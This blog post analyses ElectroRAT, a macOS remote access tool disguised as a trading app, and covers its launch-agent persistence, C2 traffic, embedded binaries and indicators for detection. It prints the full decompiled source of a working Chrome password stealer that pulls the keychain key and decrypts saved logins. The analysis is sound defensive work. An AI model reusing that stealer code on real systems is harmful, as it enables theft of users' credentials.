# **Objective-See's Blog**

objective-see.com/blog/blog\_0x61.html

**Discharging ElectroRAT** 

Analyzing the first (macOS) malware of 2021.

by: Patrick Wardle / January 5, 2021

Our research, tools, and writing, are supported by the "Friends of Objective-See" such as:



...please don't infect yourself!

#### Background

Not one week into 2021, and we've got the first new malware affecting macOS: ElectroRat !

ElectroRAT is a cross-platform RAT, uncovered by Intezer:

"

we discovered a wide-ranging operation targeting cryptocurrency users, estimated to have initiated in January 2020. This extensive operation is composed of a full-fledged marketing campaign, custom cryptocurrency-related applications and a new Remote Access Tool (RAT) written from scratch."

[its main goal appears to] ...steal personal information from cryptocurrency users" - Intezer

In terms of it's infection vector, Intezer noted:

"These [malicous] applications were promoted in cryptocurrency and blockchainrelated forums such as bitcointalk and SteemCoinPan. The promotional posts, published by fake users, tempted readers to browse the applications' web pages, where they could download the application without knowing they were actually installing malware." -Intezer

As the <u>Intezer</u> report predominantly focused on the Windows variant of the malware, let's build upon their researcher, diving deeper into the macOS variant (<u>OSX.ElectroRAT</u>).

# Triage

The <u>Intezer</u> shared an the hash of a disk image (.dmg) containing the macOS variant of <u>ElectoRAT</u>.

With a SHA-1 of 2795ca35847cecb543f713b773d87c089a6a38ba , we can grab this from <u>VirusTotal</u> ...noting its name ( eTrader-0.1.0\_mchos.dmg ) and the fact that detections aren't that good (yet):



## eTrader-0.1.0\_mchos.dmg

Once we download the disk image ( eTrader-0.1.0\_mchos.dmg ), we can mount it via the hdiutil command:

% hdiutil attach ElectroRat/eTrader-0.1.0\_mchos.dmg
expected CRC32 \$6C68ADDC
/dev/disk2 GUID\_partition\_scheme
/dev/disk2s1 Apple\_HFS /Volumes/eTrader 0.1.0

It mounts to /Volumes/eTrader 0.1.0, and contains a single application, eTrader.app :



## eTrader-0.1.0\_mchos.dmg ...mounted

Via <u>WhatsYourSign</u>, we can see this application is not notarized nor signed ...meaning it won't (easily) run on recent versions of macOS:



eTrader.app ...unsigned

Often triaging an application, I manually poke around via the terminal. However, a new (free!) app named <u>Apparency</u> (from the developers of <u>Suspicious Package</u>), offers a way to statically explore applications via the UI:

		🗾 eTrader.a	<b>pp —</b> Locked			
<b>C O</b>	2					0
Component Name	Executable	Version	Signature			now in Finder
	Application	0.1.0 (0.1.0)				
eTrader Helper (Or O).app	Application	0.1.0				
eTrader Helper (Renderer) ann	Application	010				
eTrader Helper ann	Application	010				
Electron Framework framework	Framework	7114	No signature			
Mantle framework	Framework	1.0	No signature			
ReactiveCocoa.framework	Framework	1.0 (1)	No signature	Name	eTrader.app	
Squirrel framework	Framework	1.0 (1)	No signature	Kind	Application	
				Kind Detai		
				Executable	Intel—64-bit	
				Where	/Volumes/eTrader 0.1.0	
				Downloaded	January 5, 2021 at 9:49 AM	
				Identifier	app.com.trader	
				Version	0.1.0 (0.1.0)	
				Copyright	© 2020 John Doe	
				Provides		٥
				FIOVILLES	Uniform Types	0
					LIRI Schemes	0
					Services	0
					Show Info Property List	<u>-</u>
				Ann Sandhov		J
				Hardening		
				Notarization		
				Entitlamente	Show Entitlements	r
				Catalia		
				Gatekeeper		

#### eTrader.app, in Apparency

On the right-hand side of the <u>Apparency</u> window, we see various information about the application, such as the identifier (app.com.trader) and a (fake) copyright notice ((c) 2020 John Doe).

Let's take a peak at the applications **Info.plist**:

```
$ defaults read /Volumes/eTrader\ 0.1.0/eTrader.app/Contents/Info.plist
{
   AsarIntegrity = "{\\"checksums\\":
BuildMachineOSBuild = 17D102;
   CFBundleDisplayName = eTrader;
   CFBundleExecutable = eTrader;
   CFBundleIdentifier = "app.com.trader";
   . . .
   DTSDKBuild = "10.13";
   DTSDKName = "macosx10.13";
   DTXcode = 0941;
   DTXcodeBuild = 9F2000;
   . . .
   NSCameraUsageDescription = "This app needs access to the camera";
   NSHighResolutionCapable = 1;
   NSHumanReadableCopyright = "Copyright \\U00a9 2020 John Doe";
   NSMainNibFile = MainMenu;
   NSMicrophoneUsageDescription = "This app needs access to the microphone";
   NSPrincipalClass = AtomApplication;
   . . .
}
```

The presence of the AsarIntegrity key/value pair indicate its built via Electron.

Electon is, "a framework for creating native applications with web technologies like JavaScript, HTML, and CSS."

To learn more about Electon, head over to:

#### ElectronJS.org.

Other key/value pairs of interest include NSCameraUsageDescription and NSMicrophoneUsageDescription which indicate the application may request permission to access camera and microphone.

If we examine the application bundle in Finder, we notice a non-standard folder, Contents/Utils which contains a single file: mdworker :

< > eTrader.app
Name
Contents
Info.plist
PkgInfo
> 🖿 Frameworks
> 🗖 MacOS
> 🖿 Resources
🗸 🖿 Utils
mdworker

#### Contents/Utils

Via the file command, we can ascertain that mdworker a standard 64-bit Mach-O executable:

\$ file /Volumes/eTrader\ 0.1.0/eTrader.app/Contents/Utils/mdworker /Volumes/eTrader 0.1.0/eTrader.app/Contents/Utils/mdworker: Mach-0 64-bit executable x86\_64

...as we'll see, this appears to be core (malicious) component of OSX.ElectroRAT

## Analysis

Let's pop into a virtual machine and run the malware (<u>eTrader.app</u>). But first, let's install some free, open-source dynamic analysis tools, including:

ProcessMonitor

Our user-mode (<u>open-source</u>) utility that monitors process creations and terminations, providing detailed information about such events.

• <u>FileMonitor</u>

Our user-mode (<u>open-source</u>) utility monitors file events (such as creation, modifications, and deletions) providing detailed information about such events.

• <u>Netiquette</u> Our (<u>open-source</u>) network monitor. When launched (in a VM), eTrader.app shows an innocuous looking sign-in window:

•••	eTrader	
	Create your account	<b>eTrader</b> Version 0.1.0 (0.1.0) Copyright © 2020 John Doe
	example@email.com	
	PASSWORD	
	Password	
	REPEAT PASSWORD	
	Confirm your password	
	By cointinuing you agree to our <u>Terms</u> and <u>Privacy Policy</u>	
	SIGN UP	
	Already have an account ? <u>Sign In</u>	

eTrader.app UI

...but in the background, our passive dynamic analysis tools readily detect malicious behavior.

First off (via the ProcessMonitor), we see that the application (who's pid is 1350) executes the Utils/mdworker binary (via bash):

```
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
```

```
{
  "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
  "process" : {
    . . .
    "uid" : 501,
    "arguments" : [
     "/bin/sh",
      "-C",
      "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker"
    ],
    "ppid" : 1350,
    "architecture" : "Intel",
    "path" : "/bin/sh",
    "name" : "sh",
    "pid" : 1355
 }
}
```

Once off and running, our FileMonitor captures the Utils/mdworker copying itself to ~/.mdworker :

```
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty
{
  "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
  "file" : {
    "destination" : "/Users/user/.mdworker",
    "process" : {
      "uid" : 501,
      "arguments" : [
       "/bin/sh",
       "-C",
       "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker"
      1,
      "ppid" : 1350,
      "architecture" : "Intel",
      "path" : "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker",
      "name" : "mdworker",
      "pid" : 1351
    }
 }
}
```

```
The mdworker binary then creates a launch agent plist, 
~/Library/LaunchAgents/mdworker.plist :
```

```
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty
```

```
{
  "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
  "file" : {
    "destination" : "/Users/user/Library/LaunchAgents/mdworker.plist",
    "process" : {
      "uid" : 501,
      "arguments" : [
        "/bin/sh",
       "-C",
       "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker"
      ],
      "ppid" : 1350,
      "architecture" : "Intel",
      "path" : "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker",
      "name" : "mdworker",
      "pid" : 1351
    }
 }
}
```

As expected, the launch agent plist ( mdworker.plist ) references the .mdworker binary:

```
% cat ~/Library/LaunchAgents/mdworker.plist
```

Label mdworker ProgramArguments

/Users/user/.mdworker

RunAtLoad

Also, worth noting, as the **RunAtLoad** is set to **true** the OS will automatically (re)launch the malware each time the user (re)logs in.

Now that **OSX.ElectroRAT** has persisted, what does it do? In a Twitter thread, <u>Avigayil</u> (the security researcher at Intezer) notes that the malware, "*queries a raw pastebin page to retrieve the C&C IP address*":

[2/7] Upon execution, ElectroRAT queries a raw pastebin page to retrieve the C&C IP address. The malware then calls the registerUser function, which creates and sends a user registration Post request to the C&C. <u>pic.twitter.com/r98bbVThs3</u>

— Avigayil Mechtinger (@AbbyMCH) January 5, 2021

Via Wireshark, we can confirm the macOS variant of **ElectroRAT** performs these same actions. First querying pastebin:

Capturing from Wi-Fi: en0										
	) 📄 🗋 🗶 🍯	९ 🗭 🔿 🖉 🖉 💆 📃 🗐 🔍 ९, ९, 🎹								
ip.addr==192.168.8	36.221	Expression +								
Source	Destination	Protocol Info								
192.168.86.221	192.168.86.1	DNS Standard query 0x7267 A pastebin.com								
192.168.86.221	192.168.86.1	DNS Standard query 0xef65 AAAA pastebin.com								
192.168.86.1	192.168.86.221	DNS Standard query response 0x7267 A pastebin.com A 104.23.								
192.168.86.1	192.168.86.221	DNS Standard query response 0xef65 AAAA pastebin.com AAAA .								

...and then once the address of the command and control server ( 213.226.100.140 ) is retrieved, connects out (with some basic information about infected machine):

• • •	Wireshark · Follow TCP Strea	m (tcp.stream eq 15) · Wi-I	Fi: en0	
<pre>POST /user HTTP/1.1 Host: 213.226.100.140 User-Agent: go-resty/ Content-Length: 127 Accept: application/j Content-Type: applica Accept-Encoding: gzip {"id":"564D028C-69EF- mac.lan","os_version" HTTP/1.1 200 OK Access-Control-Allow- Access-Control-Allow- Content-Type: applica Content-Length: 2 Date: Wed, 06 Jan 202 Connection: keep-aliv {}</pre>	:3000 L.12.0 (https://github.com/ son tion/json 7793-5BD9-8CC893CB8C8D","ma :"19.6.0","user_name":"user Drigin: * 4ethods: GET,HEAD,PUT,POST, tion/json; charset=utf-8 L 00:00:09 GMT e	go-resty/resty) c_name":"users- ","os":"darwin"} DELETE		
1 client pkt, 1 server pkt, 1 turn.				
Entire conversation (581 b	ytes)	Show and save data as	ASCII 😒 Stream	n 15 🗘
Find:				ind Next
Help Filter Out This	Stream Print Save as	Back		Close

Once the malware has checked in with the command and control server, it acts upon any (remote) tasking:

[5/7] Commands received from the C&C are parsed by the RAT using corresponding functions before sending a message back with the response. The commands are sent as a json structure with the following keys: type, uid and data for additional parameters needed for the command. <u>pic.twitter.com/7Y2A70Ha9g</u>

— Avigayil Mechtinger (@AbbyMCH) January 5, 2021

<u>Avigayil</u> also notes that:

"The attacker uses go-bindata to embed additional binaries within the malware"

In a disassembler, we can search for strings ( <u>\_main.static\_darwin\*</u> ) to uncover what may be (statically) embedded binaries, specific to the macOS (darwin) variant:

	Labels	Proc.	Str	\$	۲			
Q~ main.static								8
> Tag Scope								
			•					_
ldx Name							Blo	Size
8main.static_darwinDs_s	tore						11	572
8 <mark>main.static_</mark> darwinCam_macos							11	572
8main.static_darwinChrome_macos							11	572
8main.static_darwinKeylo	ogger_macos						11	572
8main.static_darwinVnc							11	572

#### Statically embedded binaries(?)

...so, how to extract these embedded binaries? Well thanks to <u>Avigayil</u>, we know they are embedded via <u>go-bindata</u>. This in an open-source project (on Github), that:

"

converts any file into manageable Go source code.

...useful for embedding binary data into a Go program. The file data is optionally gzip compressed" -go-bindata

So, we know the binaries are embedded and (likely) gzip compressed.

Hopping back to the disassembler, let's first find the embedded (gzipped) binary data(s) (... we'll use the embedded webcam capture binary, as an example).

As noted, the malware contains various functions named <u>main.static\_darwin\*</u>, that seem relevant to the embedded binary data. Looking at the <u>main.static\_darwinCam\_macos</u> function (at <u>0x000000004395bf0</u>) we find a cross-

reference to a variable named <u>\_main.\_static\_darwinCam\_maco</u> (note the \_ in the \_\_static ) that's passed as an argument to a function named <u>\_main.bindataRead</u> :

1\_main.static\_darwinCam\_macos: 2 ... 3 ; argument #3 for method \_main.bindataRead 4 0x000000004395c2d mov rdx, qword [\_main.\_static\_darwinCam\_macos] 5 ... 6 0x000000004395c57 call main.bindataRead

The main.\_static\_darwinCam\_macos variable is located at 0x000000004d3f190 ...and contains a pointer 0x000000004800760 0x000000004d3f190 dq 0x000000004800760

Heading over to 0x000000004800760 (offset 0x800760 in the file) we find gzip'd data:

Image: Second																				
	$\times$	-				ni -										080	0760	Q~ Text se	earch	
Save Copy	Cut	Pas	te (	Jndo	Red	0										Go	To Offset	Find (Te	xt search)	
0800750	40	00	40	00	40	00	40	00	40	00	40	00	40	00	40	00	@.@.(	a.a.a.a.	0.0.	
0800760	1F	8B	<b>0</b> 8	00	00	00	00	00	00	FF	EC	7D	0B	78	54	D5		}	.xT.	
0800770	B5	F0	9A	3C	27	21	30	09	24	21	40	02	03	26	BC	13	<	'! <b>0.</b> \$!@.	.&	
0800780	26	C0	00	06	02	99	24	13	26	9A	40	20	80	58	C0	61	&	\$.&.@	.X.a	
0800790	92	9C	90	81	C9	СС	38	0F	24	94	D4	D1	90	94	F1	30		8.\$	0	
08007A0	31	52	A4	D0	AA	C5	57	7D	5C	6D	B9	D6	5A	6A	35	8E	1R	W}\m	Zj5.	
08007B0	42	01	DB	DB	16	AD	BD	E2	A3	8A	8A	75	D2	A0	52	6B	Β	u	Rk	
08007C0	15	5F	СС	FF	AD	FD	98	39	73	66	92	A0	B7	BD	DF	ED		9sf		
08007D0	F7	E7	F0	31	7B	AF	BD	D7	5A	7B	AD	B5	D7	DE	67	9F	1	{Z{	g.	
08007E0	7D	CE	CE	FA	CD	A5	27	7B	01	20	4E	01	90	EC	01	88	}	'{. N.		
08007F0	07	48	07	80	D6	00	00	A4	01	40	32	90	32	ØF	00	6C	.H	@2.	2l	
0800800	3F	C2	CA	86	AF	E1	6B	F8	1A	BE	86	AF	E1	6B	F8	1A	?	K	.k	
0800810	BE	86	AF	E1	6B	F8	1A	BE	86	AF	E1	6B	F8	FA	37	BB		<k< td=""><td></td><td></td></k<>		
0800820	FE	F0	F9	FB	9/	92	01	14	F8	90	11	0/	00	D9	00	50			•••P	
0800830	3/	12	AØ	13	D4	A4	/E	10	00	18	00	00	68	AC	03	20	/	~	n	
0800840	D7	7	4B	RF		65	34	01	C5	65	B4	83	10	4E	0.5	21	K.2	ze4e	N. !	
0800850	96	35	FA	F5	6B	62	00	97	0	80	18	90	10	00	89	00	• 5• • F	<d< td=""><td></td><td></td></d<>		
0800860	A0	64	05	40	A3	4B	08	EL	0A	A3	21	F9		IC	45	F9	.a.F.	K	••E•	
0800870	22	ED 01	85	EI	38	29		04 6 P	BZ	99	21	AL	11	BA		11	00	5)!. 1 k D	W	
0000000		90	79	40	51	0D	72	0D	90			22	52		49	11				
0000090				60			20	02	ГU CA	AD 07	90	4U	E9	96	92		• • <del>-</del> • •	• • 00 • • • M		
ACAGORA	05	01	25	00	D3 71		62	42	51	07	05	94		AU ED	404	0E			16	
0000000	07	01 //1	21		11	4D	VD	A3 01	21	71	02	20	60	50	40 D A	97 10	× / · (		•][•	
Туре	Value										•									
8 bit signed	31																			
8 bit unsig	0x1F																			
16 bit signed	-2992	21																		
16 bit unsi	0x8B	1F																		
32 bit unsi	0x00	088B	1F																	
Hex Little En	ndian (	Overw	rite	_											ASCI	I	Of	fset: 800760	Selectio	n: 8

#### Embedded gzipped data

gzip'd data begins with a two byte signature: 0x1F 0x8B. Following is a another byte, indicating the compression method. The most common value for this 3rd byte is 0x08 (DEFLATE).

Hooray, we've found the embedded compressed binary data for the (web)camera binary.

To extract out the embedded bytes, I put together a super simple python script that simply open the malware's binary, goes to the offset of the embedded data, and writes it said out to disk. As the /usr/bin/gzip utility (that we'll use to decompress the extracted data), ignores extra/trailer bytes, we don't have to care about getting the length of the compressed data write. As such, we take the lazy approach and just write out all the embedded data from the (start) offset in the malicious binary, to the end.

```
1import sys
2import gzip
3
4f = open(sys.argv[1], 'rb')
5f.seek(int(sys.argv[2], 16), 0)
6
70 = open("extractedData.gz", 'wb')
80.write(f.read())
9
100.close()
11f.close()
```

Executing the above script with the path to the malware ( mdworker ) and the offset (of the embedded cam binary data, 0x800760) will extract and write out the compressed bytes to extractedData.gz. This file can then be decompressed with the gzip utility:

```
% python extract.py mdworker 800760
% gzip -d extracted.gz
```

gzip: extracted.gz: trailing garbage ignored

```
% file extracted
extracted: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit
executable x86_64] [i386:Mach-O executable i386]
```

```
Woohoo, we've now got a Mach-O binary!
```

We repeat the process for each of the main.static\_darwin\* symbols. Which gets us several other Mach-O binaries ...and a "Apple Desktop Services Store" (DS\_Store) file:

% file * darwinCam:	Mach-O universal binary with 2 architectures: [x86_64:Mach-O executable x86_64] [i386:Mach-O executable i386]
darwinChrome:	Mach-O 64-bit executable x86_64
darwinDs_store:	Apple Desktop Services Store
darwinKeylogger:	Mach-0 64-bit executable x86_64
darwinVnc:	Mach-O 64-bit executable x86_64

You can find these extract files in the <u>OSX.ElectroRAT</u> sample I've uploaded to Objective-See's macOS malware collection.

Let's briefly triage these (now extracted) binaries

• darwinCam (SHA1: 7e0a289572c2b3ef5482dded6019f51f35f85456):

Appears to be a **ImageSnap** ...a <u>well-known (open-source)</u> commandline utility for capturing images via the infected device's camera:

./darwinCam -h

```
USAGE: ./darwinCam [options] [filename]
Version: 0.2.5
Captures an image from a video device and saves it in a file.
If no device is specified, the system default will be used.
If no filename is specfied, snapshot.jpg will be used.
Supported image types: JPEG, TIFF, PNG, GIF, BMP
-h This help message
-v Verbose mode
-l List available video devices
-t x.xx Take a picture every x.xx seconds
-q Quiet mode. Do not output any text
-w x.xx Warmup. Delay snapshot x.xx seconds after turning on camera
-d device Use named video device
```

• darwinChrome (SHA1: 4bb418ba9833cd416fd02990b8c8fd4fa8c11c0c):

Via embedded strings, we can determine that the **darwinChrome** was packaged up with **PyInstaller**. As such can use the <u>pyinstxtractor</u> utility, to extract (unpackage) its contents:

```
$ python pyinstxtractor.py darwinChrome
[+] Processing darwinChrome
[+] Pyinstaller version: 2.1+
[+] Python version: 27
[+] Length of package: 5155779 bytes
[+] Found 109 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: Apple.pyc
[+] Found 335 files in PYZ archive
[+] Successfully extracted pyinstaller archive: darwinChrome
```

This produces several files including a compiled Python file, Apple.pyc. Via an online decompiler we can then recover Apple.pyc 's Python source code:

```
1# uncompyle6 version 3.5.0
 2# Python bytecode 2.7 (62211)
 3# Decompiled from: Python 2.7.5 (default, Aug 7 2019, 00:51:29)
 4# [GCC 4.8.5 20150623 (Red Hat 4.8.5-39)]
 5# Embedded file name: Apple.py
 6"""
 7Get unencrypted 'Saved Password' from Google Chrome
 8
 9Example:
      >>> import ChromePasswd
10
11
      >>> chrome_pwd = ChromePasswd()
      >>> print chrome_pwd.get_login_db
12
      /Users/x899/Library/Application Support/Google/Chrome/Default/
13
14
15
      >>> chrome_pwd.get_pass(prettyprint=True)
16
          {
                  "data": [
17
18
                          {
19
                                   "url": "https://x899.com/",
                                   "username": "admin",
20
21
                                   "password": "secretP@$$w0rD"
22
                          },
23
                          {
24
                                   "url": "https://accounts.google.com/",
                                   "username": "x899@gmail.com",
25
                                   "password": "@n04h3RP@$$m0rC1"
26
27
                          }
28
                  ]
29
          }
30
31T0 D0:
      * Cookie support
32
33
      * Update database Password directly
34
35"""
36import platform
37from getpass import getuser
38from shutil import copy
39import sqlite3
40from os import unlink
41import json
42from importlib import import_module
43import string, sys, subprocess, glob, os
44
45class ChromePasswd(object):
      """ Main ChromePasswd Class """
46
47
48
      def __init__(self):
          """ Constructor: determine target platform """
49
50
          self.target_os = platform.system()
          if self.target_os == 'Darwin':
51
52
              self.mac_init()
          elif self.target_os == 'Windows':
53
54
              self.win_init()
55
          elif self.target_os == 'Linux':
```

```
56
               self.linux_init()
 57
 58
       def import_libraries(self):
           """ import libraries based on underlying platform """
 59
 60
           try:
               if self.target_os == 'Darwin':
 61
                   globals()['AES'] = import_module('Crypto.Cipher.AES')
 62
 63
                   globals()['KDF'] = import_module('Crypto.Protocol.KDF')
 64
                   globals()['subprocess'] = import_module('subprocess')
 65
               elif self.target_os == 'Windows':
                   globals()['win32crypt'] = import_module('win32crypt')
 66
               elif self.target_os == 'Linux':
 67
                   globals()['AES'] = import_module('Crypto.Cipher.AES')
 68
 69
                   globals()['KDF'] = import_module('Crypto.Protocol.KDF')
 70
           except ImportError as err:
               print ('[-] Error: {}').format(str(err))
 71
 72
               sys.exit()
 73
 74
       def linux init(self):
 75
           """ Linux Initialization Function """
 76
           self.import_libraries()
 77
           my_pass = ('peanuts').encode('utf8')
 78
           iterations = 1
 79
           salt = 'saltysalt'
 80
           length = 16
           self.key = KDF.PBKDF2(my_pass, salt, length, iterations)
 81
 82
           self.dbpath = ('/home/{}/.config/google-
chrome/Default/').format(getuser())
 83
           self.decrypt_func = self.nix_decrypt
 84
 85
       def mac_init(self):
 86
           """ Mac Initialization Function """
 87
           self.import_libraries()
           my_pass = subprocess.Popen("security find-generic-password -wa
 88
'Chrome'", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
 89
           stdout, _ = my_pass.communicate()
 90
           my_pass = stdout.replace('\n', '')
 91
           iterations = 1003
 92
           salt = 'saltysalt'
           length = 16
 93
 94
           self.key = KDF.PBKDF2(my_pass, salt, length, iterations)
 95
           loginData = glob.glob('%s/Library/Application
Support/Google/Chrome/Profile*/' % os.path.expanduser('~'))
 96
           if len(loginData) == 0:
               loginData = glob.glob('%s/Library/Application
 97
Support/Google/Chrome/Default/' % os.path.expanduser('~'))
           self.dbpath = loginData[0]
 98
 99
           self.decrypt_func = self.nix_decrypt
100
       def nix_decrypt(self, enc_passwd):
101
           .....
102
103
           Linux and Mac's decryption function
104
105
           :paran enc_passwd: encrypted password
106
           :return: decrypted password
```

```
107
           initialization_vector = '
108
109
           enc_passwd = enc_passwd[3:]
110
           cipher = AES.new(self.key, AES.MODE_CBC, IV=initialization_vector)
           decrypted = cipher.decrypt(enc_passwd)
111
112
           return decrypted.strip().decode('utf8')
113
       def win_init(self):
114
           """ Windows Initialization Function """
115
           self.import_libraries()
116
117
           self.dbpath = ('C:\\Users\\{}\\AppData\\Local\\Google\\Chrome\\User
Data\\Default\\').format(getuser())
           self.decrypt_func = self.win_decrypt
118
119
120
       def win_decrypt(self, enc_passwd):
           .....
121
122
           Window's decryption function
123
124
           :paran enc_passwd: encrypted password
125
           :return: decrypted password
           .....
126
           data = win32crypt.CryptUnprotectData(enc_passwd, None, None, None, 0)
127
128
           return data[1]
129
130
       @property
131
       def get_login_db(self):
           """ getting "Login Data" sqlite database path """
132
           return self.dbpath
133
134
       def get_pass(self, prettyprint=False):
135
           .....
136
137
           Getting URL, username and password in clear text
138
139
           :param prettyprint: if it is True, output dictionary will be
140
                               printed on the screen
           :return: clear text data in dictionary format
141
           .....
142
143
           copy(self.dbpath + 'Login Data', 'Login Data.db')
144
           conn = sqlite3.connect('Login Data.db')
           cursor = conn.cursor()
145
           cursor.execute('SELECT action_url, username_value, password_value\n
146
FROM logins')
147
           data = {'data': []}
           for result in cursor.fetchall():
148
149
               _passwd = self.decrypt_func(result[2])
               passwd = ('').join(i for i in _passwd if i in string.printable)
150
151
               if result[1] or passwd:
152
                   _data = \{\}
153
                   _data['url'] = result[0]
154
                   _data['username'] = result[1]
155
                   _data['password'] = passwd
156
                   data['data'].append(_data)
157
158
           conn.close()
159
           unlink('Login Data.db')
```

.....

```
160
           if prettyprint:
               print json.dumps(data, indent=4)
161
           return data
162
163
164
165def main():
       """ Operational Script """
166
       chrome_pwd = ChromePasswd()
167
       chrome_pwd.get_pass(prettyprint=True)
168
169
170
171if ___name__ == '___main__':
172
       main()
```

...looks like a Chrome password stealer!

• darwinKeylogger (SHA1: 3bcbfc40371c8d96f94b5a5d7c83264d22b0f57b):

This binary appears to be a basic macOS keylogger based on the open-source <u>Swift-Keylogger</u> project (that (ab)uses IOHIDManagerCreate / IOHIDManagerRegisterInputValueCallback ).

Note that on recent versions of macOS, this requires explicit user approval:



built-in capabilities

• darwinVnc (SHA1: 872da05c137e69617e16992146ebc08da3a9f58f):

This binary appears to the well known <u>OSXvnc</u>, a "*robust, full-featured VNC server for MacOS X*":

./darwinVnc -h
Available options:
-rfbport port TCP port for RFB protocol (0=autodetect first open port
5900-5909)
-rfbwait time Maximum time in ms to wait for RFB client
-rfbnoauth Run the server without password protection
-rfbauth passwordFile Use this password file for VNC authentication
 (use 'storepasswd' to create a password file)
-rfbpass Supply a password directly to the server
...

The malware also supports a variety of built-in standard backdoor capabilities ...such command execution, file upload/download and more

	Labels	Proc.				
Q~ main.						8
> Tag Scope						
		•	)			
ldx Name					Blo	Size
8main.ExecConsole					5	212
8main.downloadFile					7	678
8main.FolderContent					18	1288
8main.HideFile					9	285
8main.getMachineID					7	168
8 <mark>main.</mark> main					21	806
8main.getOsInfo					3	370
8main.killProcessMac					7	305
8main.getProcessList					14	734
8main.registerUser					29	1048
8main.keepAlive					9	275
8main.createConnectionFla	g				13	520
8main.socketConnect					26	1972
8main.getUserPath					5	188
8main.copyAppToStartDir					13	1136
8main.setAutostart					12	452
8main.uploadFile					29	1004
8main.zipit					19	1017
8main.uploadFolder					29	105(

built-in capabilities <u>Avigayil</u> sums this up well:

"

ElectroRAT is extremely intrusive.

...it has various capabilities such as keylogging, downloading files and executing commands on the victim's console."

## Detection(s)

Good news, though this malware is brand new, several of our free (open-source) macOS security tools readily can detect and alert on it's malicious behaviors.

For example, when OSX.ElectroRAT persists, <u>BlockBlock</u> can alert you of this fact:



BlockBlock: unauthorized persistence

...while our firewall, <u>LuLu</u> will block and alert on the malware's unauthorized network connections:

•••	LuLu Alert	
exec	is trying to connect to 104.23.98.19	
<pre>process process id: process args: process path:</pre>	1454 none /Users/user/Desktop/eTrader.app/Contents/Utils/md	iworker
<b>network</b> ip address: port/protocol:	104.23.98.190 443 (TCP)	
	rule scope: Process	Block Allow temporarily (pid: 1454)

LuLu: unauthorized network connection

In terms of static IOCs, the presences of the following files may indicated an OSX.ElectroRAT infection:

- ~/.mdworker
- ~/Library/LaunchAgents/mdworker.plist

## Conclusions

Looks like 2021 will be another year filled with Mac malware!

In this blog post, we analyzed the new;y discovered **ElectroRAT**. Focusing on the macOS version, we detailed its:

- Launch agent persistence
- Extracted and triaged its embedded binaries
- ... and discussed its built-in capabilities.

## The Art of Mac Malware

If this blog posts pique your interest, definitely check out my new book on the topic of Mac Malware Analysis: "<u>The Art Of Mac Malware: Analysis</u>". It's free online, and new content is regularly added!

# 💕 Support Us:

Love these blog posts? You can support them via my Patreon page!



This website uses cookies to improve your experience.